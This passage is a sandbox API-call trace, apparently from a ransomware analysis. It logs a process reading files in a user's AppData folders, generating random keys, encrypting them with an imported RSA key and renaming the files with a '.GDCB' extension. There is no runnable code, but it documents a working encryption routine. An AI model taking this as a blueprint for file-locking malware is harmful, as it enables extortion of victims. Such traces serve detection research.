lpBuffer=0xd890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd890000*, lpNumberOfBytesRead=0x285de08*=0x960, lpOverlapped=0x0) returned 1 [0296.359] VirtualAlloc (lpAddress=0x0, dwSize=0x960, flAllocationType=0x3000, flProtect=0x4) returned 0xd9a0000 [0296.366] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2570292521\\231755001.pri.gdcb")) returned 1 [0296.372] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0296.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.379] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0296.379] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.379] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0296.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.385] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0296.385] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.386] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0296.389] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac370) returned 1 [0296.389] CryptGetKeyParam (in: hKey=0x67ac370, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.389] CryptEncrypt (in: hKey=0x67ac370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0296.389] GetLastError () returned 0x0 [0296.389] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.389] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0296.391] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ac270) returned 1 [0296.391] CryptGetKeyParam (in: hKey=0x67ac270, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0296.391] CryptEncrypt (in: hKey=0x67ac270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0296.391] GetLastError () returned 0x0 [0296.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.391] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0296.392] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd880000 [0296.396] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd890000 [0296.398] ReadFile (in: hFile=0x504, lpBuffer=0xd890000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd890000*, lpNumberOfBytesRead=0x285de08*=0xb280, lpOverlapped=0x0) returned 1 [0296.406] VirtualAlloc (lpAddress=0x0, dwSize=0xb280, flAllocationType=0x3000, flProtect=0x4) returned 0xd9a0000 [0296.414] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3295484897\\2504515037.pri.gdcb")) returned 1 [0296.439] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0296.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.445] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.445] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0296.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.453] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.454] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0296.456] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac8b0) returned 1 [0296.456] CryptGetKeyParam (in: hKey=0x67ac8b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.456] CryptEncrypt (in: hKey=0x67ac8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd860000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd860000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.456] GetLastError () returned 0x0 [0296.456] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.456] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0296.458] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac3b0) returned 1 [0296.458] CryptGetKeyParam (in: hKey=0x67ac3b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.459] CryptEncrypt (in: hKey=0x67ac3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd870000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd870000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.459] GetLastError () returned 0x0 [0296.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.459] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.479] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0296.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.486] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.486] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0296.487] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.487] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0296.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.493] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0296.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.493] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0296.496] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67abeb0) returned 1 [0296.496] CryptGetKeyParam (in: hKey=0x67abeb0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0296.496] CryptEncrypt (in: hKey=0x67abeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd880000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd880000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0296.496] GetLastError () returned 0x0 [0296.496] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.496] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0296.498] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ac530) returned 1 [0296.498] CryptGetKeyParam (in: hKey=0x67ac530, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0296.498] CryptEncrypt (in: hKey=0x67ac530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd890000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd890000*, pdwDataLen=0x285e560*=0x100) returned 1 [0296.498] GetLastError () returned 0x0 [0296.498] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.502] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0296.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.509] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.509] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.509] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0296.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.515] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.515] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.515] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0296.518] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac630) returned 1 [0296.518] CryptGetKeyParam (in: hKey=0x67ac630, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.518] CryptEncrypt (in: hKey=0x67ac630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8a0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd8a0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.518] GetLastError () returned 0x0 [0296.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.518] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0296.520] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac2b0) returned 1 [0296.520] CryptGetKeyParam (in: hKey=0x67ac2b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.520] CryptEncrypt (in: hKey=0x67ac2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8b0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd8b0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.520] GetLastError () returned 0x0 [0296.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.520] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.523] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0296.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.529] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.530] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.530] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0296.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.536] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.537] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0296.539] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac2f0) returned 1 [0296.539] CryptGetKeyParam (in: hKey=0x67ac2f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.539] CryptEncrypt (in: hKey=0x67ac2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8c0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd8c0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.540] GetLastError () returned 0x0 [0296.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.540] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0296.542] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac4b0) returned 1 [0296.542] CryptGetKeyParam (in: hKey=0x67ac4b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.542] CryptEncrypt (in: hKey=0x67ac4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8d0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd8d0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.542] GetLastError () returned 0x0 [0296.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.542] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.544] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0296.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.551] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0296.551] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.551] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0296.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.556] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0296.556] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.557] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0296.559] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac170) returned 1 [0296.559] CryptGetKeyParam (in: hKey=0x67ac170, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.559] CryptEncrypt (in: hKey=0x67ac170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8e0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd8e0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0296.560] GetLastError () returned 0x0 [0296.560] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.560] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0296.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac3f0) returned 1 [0296.562] CryptGetKeyParam (in: hKey=0x67ac3f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0296.562] CryptEncrypt (in: hKey=0x67ac3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd8f0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd8f0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0296.562] GetLastError () returned 0x0 [0296.562] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.562] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.722] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0296.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.729] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0296.729] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.729] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0296.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.734] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0296.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.735] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0296.737] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac0f0) returned 1 [0296.737] CryptGetKeyParam (in: hKey=0x67ac0f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.737] CryptEncrypt (in: hKey=0x67ac0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd900000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd900000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0296.737] GetLastError () returned 0x0 [0296.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.737] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0296.739] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac730) returned 1 [0296.739] CryptGetKeyParam (in: 